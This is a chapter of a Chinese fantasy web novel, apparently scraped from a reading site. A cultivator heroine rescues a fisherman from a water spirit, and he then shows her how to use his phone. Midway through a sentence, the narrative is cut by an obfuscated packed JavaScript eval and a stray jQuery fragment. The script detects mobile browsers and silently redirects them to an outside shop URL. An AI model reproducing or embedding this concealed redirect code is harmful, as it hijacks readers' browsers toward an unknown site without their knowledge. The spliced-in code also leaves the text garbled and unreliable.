干燥的石头忽然压出了一道清晰的痕迹,像是水在向上蜿蜒……
钓鱼佬顿时寒毛直竖,害怕地想往高岸上跑。可却无法动弹,腿脚反而越往下滑--
一股无形的力量死死拽住了他,将他整个人往水里拖。
“啊啊啊啊啊……”
他吓得疯狂尖叫,仅剩的一丝理智让他慌忙将手中的iPhone抛向应百遥:“给你!给你!快来拉我一把!”
手机落在应百遥脚边,她却不为所动。
“救命啊!”
那东西的力道一瞬间增大,脚腕被猛地一扯,钓鱼佬整个人已经被拽下了水。
他双臂疯狂拍打水面,河水却不管他的挣扎,不停往他耳鼻、口腔里灌,直至淹没他的头顶,让他连声音都发不出来了。
应百遥的视线透过浑浊的河水,清晰地瞧见那河中的淤泥和水草如有生命般,卷住了他的小腿肚,随后蔓延至他圆滚滚的上半身……
夕阳慢慢往下落,应百遥数着时间,漆黑的瞳仁一眨不眨,冷眼旁观他的死亡过程。
“叮铃铃,叮铃铃~十里桃花,待嫁的年华,凤冠的珍珠……”
沉寂的河岸被刺耳的乐曲打破,应百遥循声低头,正是脚边的‘手鸡’发出的声音。
她不懂什么是动感DJ混音,只觉得这曲子突兀又混乱,一遍遍地回响,犹如魔音缠人,挥之不去。
蓦地,应百遥的脑海中就浮跃上了蒙娜的脸。
她万分恼火地锤了下草地,而后不情不愿地起了身。
铃声仿佛有主见般地停下了。
应百遥凝神静气,双手快速结印:“浮沉定止,颠倒归心。一切狂乱,即时安宁!荡--”
随着口诀落下,一道凌厉的疾风如利刃般骤然破开了河面。
污浊的淤泥登时翻滚不休,宛如发出无声的凄厉叫喊,飞速裹挟着河水挥舞起了一条长长的水草,狠狠地砸向应百遥,却在半空一瞬间被无情斩断。
钓鱼佬的身体从水里冒了起来,很快就以一种滑稽的姿势滚动着飘回了岸边。
应百遥冷着脸挑起一根树枝戳他身上的各处穴位,一下接一下,等人开始呜哇哇地吐河水,她立刻嫌弃地将树枝砸在了他圆滚滚的肚皮上。
钓鱼佬一清醒就蹬爬着草丛,边伸手想去抱她的腿,边含糊不清地叫:“大、大师……”
应百遥更嫌弃了,使劲一脚把他踹翻了几个跟头。
死亡的恐惧战胜了身体上的疼痛,钓鱼佬近乎靠着满腔的毅力一骨碌爬回她身边,涕泗横流:“呜呜呜~感谢大师救我一命!”
虽说他以前学过水下闭气,可真当危险来临,压根就闭不住,刚刚在水下他已经痛苦到力竭翻白眼了,没有她出手相救,他肯定就完了呀!
呜呜呜,还好遇见她,今天可碰上真玄学大师了。
流完了劫后余生的幸福眼泪,他才哆哆嗦嗦问:“大师,想害死我的究竟是个什么东西啊?我只看见了些水草,是不是水鬼想找替身……”
应百遥不屑:“还没成气候的水煞罢了。黄昏阴气渐升,你又拿阴物喂养它,它自然想与你亲近。”
钓鱼佬:“……”想害死他也叫亲近?
他挤出个难看的笑容来:“您可真幽默。”
“比不得你会变脸。”
被应百遥讽刺,钓鱼佬嘿嘿一笑,人之常情么这不是,谁叫他一开始只以为她是个力气大点的小姑娘。
“您说的阴物是什么?我刚刚打窝用的是糠饼和发酵五谷。”
他拿出窝料密封罐和饵料收纳盒,一一打开给应百遥看。
新世道钓鱼的花样可真多。
应百遥瞥了眼瓶瓶罐罐,问他:“你从哪儿弄来的这些。”
“鱼食店啊。”
钓鱼时间久了就会有熟店,他常去的那家鱼食店价格公道,老板还经常回馈老客户,给他们打折。
“有……有问题吗?”他小心翼翼地问。
应百遥皱眉:“和尸体放在一起,当然会沾染尸气,时日一长,就成了阴物。”
钓鱼佬第一反应就是死蟑螂和死老鼠。
好哇!开店居然不重视卫生,差点把顾客害死,他必须去找老板要个说法,不给出个满意的赔偿,他就打市场监督管理局热线!
见他没将尸体当回事,应百遥也懒得去管。
钓鱼佬满心纠结地拿着鱼食,这些都是证据,暂时不能扔:“大师,我能跟您求张符纸吗?”
没带银票竟有脸朝她张口。
应百遥概不赊账:“一点阴物又害不了人。”顶多生场病,卧几天床。
钓鱼佬仰望着她,如看天神下凡:“大师,请问您是哪门哪派的?能不能留个名讳,好让我随时能报答您的救命之恩。”
应百遥目光斜斜地剜他:“这会儿讲什么报答,先前你不是还拿报警威胁我吗?”
“哪敢,哪敢,是我狗咬吕洞宾。”他肠子都悔青了,早知道一开始就好好说话,给她留个好印象。
应百遥冷笑,这种见她露完本事后就前倨后恭的人她见得多了。
“的确是警察救了你,有空去拘留所给她磕个头吧。”
“啊?您的意思我没听懂,能不能指点迷津?”
应百遥才不想浪费口舌跟他解释,捡起岸上的“手鸡”,左瞧瞧,又看看。
和大夫的那只模样差不多,但尺寸不同。
见她始终不肯透露大名,钓鱼佬心中顿时肃然起敬。
了不得,是个有大本事的,只有高人才会眼高于顶,不趁机挟恩图报。
他想起前不久应百遥向他卖鱼的事。不愧是大师,自食其力,有风骨,真乃吾辈楷模。
赶紧自报家门:“大师,我叫于伟亮,于是的于,伟大的伟,明亮的亮。您叫我小于就好,我今年38岁,爱好钓鱼,目前专职在家炒股,今日与大师幸会,相逢就是有缘……”
应百遥充耳不闻,低头尝试摆弄手鸡。
夏天气温高,于伟亮湿漉漉的身体很快就变干了不少。
他头有些晕,但觉得身体还能撑。忙不迭拿出渔具包里的纸巾擦净了手和脸,殷勤地说:“我给您解锁。”
哪里有锁?
应百遥没肯将手鸡给他。
于伟亮就主动凑过来用脸解开了手机屏幕,三下五除二地消除了自己的指纹和面容锁,又退出了所有App里登录过的个人账号。
清理完了常用数据,他告诉应百遥:“我原本打算送您台全新的,不过既然您喜欢它,那就是它的造化。您放心,这是最新款,我刚买了没两天,除了一些必要软件,什么内存都没占用过,以后它就正式归您了。”
应百遥拨弄了两下屏幕,原来它会认主……
看他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768016|209802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现在老实得像个鹌鹑,于是问:“怎么用?”
她在于伟亮心里现在就是隐世高人的形象,猜测她这些年可能一心在师门里潜心修炼,从不沉迷于身外之物。于是手把手地从【设置】开始教她认各种按键和APP。
“您看看,这是浏览器,这是娱乐APP,还有这些个是购物软件……您一时不会操作也没关系,以后还可以上网查攻略。”
应百遥依然听得似懂非懂,但只看他演示了一遍,就记住了如何开关机、调节音量、接听电话等基础功能,还发现了【输入法】居然可以挑选繁简体。
原来是这个“繁”,不是凡人的凡。
应百遥顿悟了,删繁就简,华国创造的新体字就是更容易书写的简化字。
网上还能搜到各种文字,看到熟悉的隶书,应掌门瞬间来了自信。
于伟亮关注到她情绪上的变化,试探着闲聊:“您是J省人吧?一口老官话说得真地道。不过现在大家出门在外基本都使用普通话交流了,不是贬低您的家乡话哈,但外地方言有时容易被开地图炮。”
“如果您想尽快掌握普通话,前期就上网照着语言视频练练播音腔吧。一级甲等的水平,有利于规范发音。喏,我给您点开了,您瞧瞧。
您模样顶尖,声线也好听,往后参加道门大会什么的,完全能当个顶级门面发言人……”
应百遥不耐烦听他聒噪:“行了,你我自此两清。”
太阳已经落山了,远处公路上的路灯陆陆续续地亮起。
见她将手机揣兜里就要拎着鱼离开,于伟亮赶紧戴上夜钓头灯,三两下收好渔具追上去。
“大师!大师!”
他气喘吁吁:“您别走呀,这么晚了,我想请您吃顿饭。”
应百遥拒绝:“我有鱼,别和我套近乎。”
也许是因为教她使用手机后又有了勇气,知道机会难得,下次可能再也遇不上人了,于伟亮厚着脸皮开口:“您能不能帮我算算……”
“不能!”
“我还没说呢。”
“你想求财。”应百遥冷嗤:“刚捡回了一条命,做人别太贪心。”
人为财狂有什么错,于伟亮不死心:“那您呢?有机会不想暴富吗?”
回想她兜里貌似一共只有二百块,还自己打鱼卖。
莫非五弊三缺,缺财?
难怪不给他算。
“什么五弊三缺?”应百遥突然问他。
于伟亮这才发现自己不知不觉间说出了心里话。
索性开门见山:“鳏寡孤独残,钱权命,我明白的。”
应百遥一口否认:“道门没有这种说法。只有心术不正,道行不够,平日里又不注重积德行善,才会遭到反噬。”
当然了,她自认不在此列。
于伟亮小声嘀咕:“可网上都这么说。”
应百遥睥睨他:“你是天师我是天师?我说没有就是没有。”
靠!她居然是个天师!简直撞了大运!于伟亮激动不已:“那您给我算算吧,就一支股,求您了,回头我跟您五五,不,四六分账,啊--”
应百遥潇洒收回踹飞他的那一只脚。
等于伟亮晕头转向地从林间小道上爬起来,人早已不见行踪。
不过--
还好他留了个心眼,没有拔下电话卡。
嘿嘿。